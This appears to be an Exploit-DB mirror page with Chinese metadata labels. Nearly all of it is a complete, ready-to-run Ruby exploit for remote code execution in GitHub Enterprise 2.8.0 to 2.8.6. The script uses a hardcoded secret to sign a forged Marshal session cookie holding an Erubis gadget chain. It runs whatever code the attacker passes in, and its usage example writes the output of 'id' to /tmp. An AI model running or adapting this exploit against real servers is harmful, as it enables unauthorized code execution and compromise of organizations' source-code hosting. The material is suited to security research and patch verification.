GitHub Enterprise 2.8.0 < 2.8.6 - Remote Code Execution

  • 作者: iblue
    日期: 2017-03-15
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41616/
  • #!/usr/bin/ruby
    require "openssl"
    require "cgi"
    require "net/http"
    require "uri"
    
    SECRET = "641dd6454584ddabfed6342cc66281fb"
    
    puts ' ___. .__ '
    puts '____ ___________ \_ |__ ||__ __ ____'
    puts '_/ __ \\\\\//\__\ | __ \|| ||\_/ __ \ '
    puts '\___/ ></ __ \| \_\ \|_||/\___/ '
    puts ' \___>__/\_ \(____/___/____/____/\___>'
    puts ' \/\/ \/\/ \/ '
    puts ''
    puts "github Enterprise RCE exploit"
    puts "Vulnerable: 2.8.0 - 2.8.6"
    puts "(C) 2017 iblue <iblue@exablue.de>"
    
    unless ARGV[0] && ARGV[1]
    puts "Usage: ./exploit.rb <hostname> <valid ruby code>"
    puts ""
    puts "Example: ./exploit.rb ghe.example.org \"%x(id > /tmp/pwned)\""
    exit 1
    end
    
    hostname = ARGV[0]
    code = ARGV[1]
    
    # First we get the cookie from the host to check if the instance is vulnerable.
    puts "[+] Checking if #{hostname} is vulnerable..."
    
    http = Net::HTTP.new(hostname, 8443)
    http.use_ssl = true
    http.verify_mode = OpenSSL::SSL::VERIFY_NONE # We may deal with self-signed certificates
    
    rqst = Net::HTTP::Get.new("/")
    
    while res = http.request(rqst)
    case res
    when Net::HTTPRedirection then
    puts "=> Following redirect to #{res["location"]}..."
    rqst = Net::HTTP::Get.new(res["location"])
    else
    break
    end
    end
    
    def not_vulnerable
    puts "=> Host is not vulnerable"
    exit 1
    end
    
    unless res['Set-Cookie'] =~ /\A_gh_manage/
    not_vulnerable
    end
    
    # Parse the cookie
    begin
    value = res['Set-Cookie'].split("=", 2)[1]
    data = CGI.unescape(value.split("--").first)
    hmac = value.split("--").last.split(";", 2).first
    expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, data)
    not_vulnerable if expected_hmac != hmac
    rescue
    not_vulnerable
    end
    
    puts "=> Host is vulnerable"
    
    # Now construct the cookie
    puts "[+] Assembling magic cookie..."
    
    # Stubs, since we don't want to execute the code locally.
    module Erubis;class Eruby;end;end
    module ActiveSupport;module Deprecation;class DeprecatedInstanceVariableProxy;end;end;end
    
    erubis = Erubis::Eruby.allocate
    erubis.instance_variable_set :@src, "#{code}; 1"
    proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
    proxy.instance_variable_set :@instance, erubis
    proxy.instance_variable_set :@method, :result
    proxy.instance_variable_set :@var, "@result"
    
    session = {"session_id" => "", "exploit" => proxy}
    
    # Marshal session
    dump = [Marshal.dump(session)].pack("m")
    hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, SECRET, dump)
    
    puts "[+] Sending cookie..."
    
    rqst = Net::HTTP::Get.new("/")
    rqst['Cookie'] = "_gh_manage=#{CGI.escape("#{dump}--#{hmac}")}"
    
    res = http.request(rqst)
    
    if res.code == "302"
    puts "=> Code executed."
    else
    puts "=> Something went wrong."
    end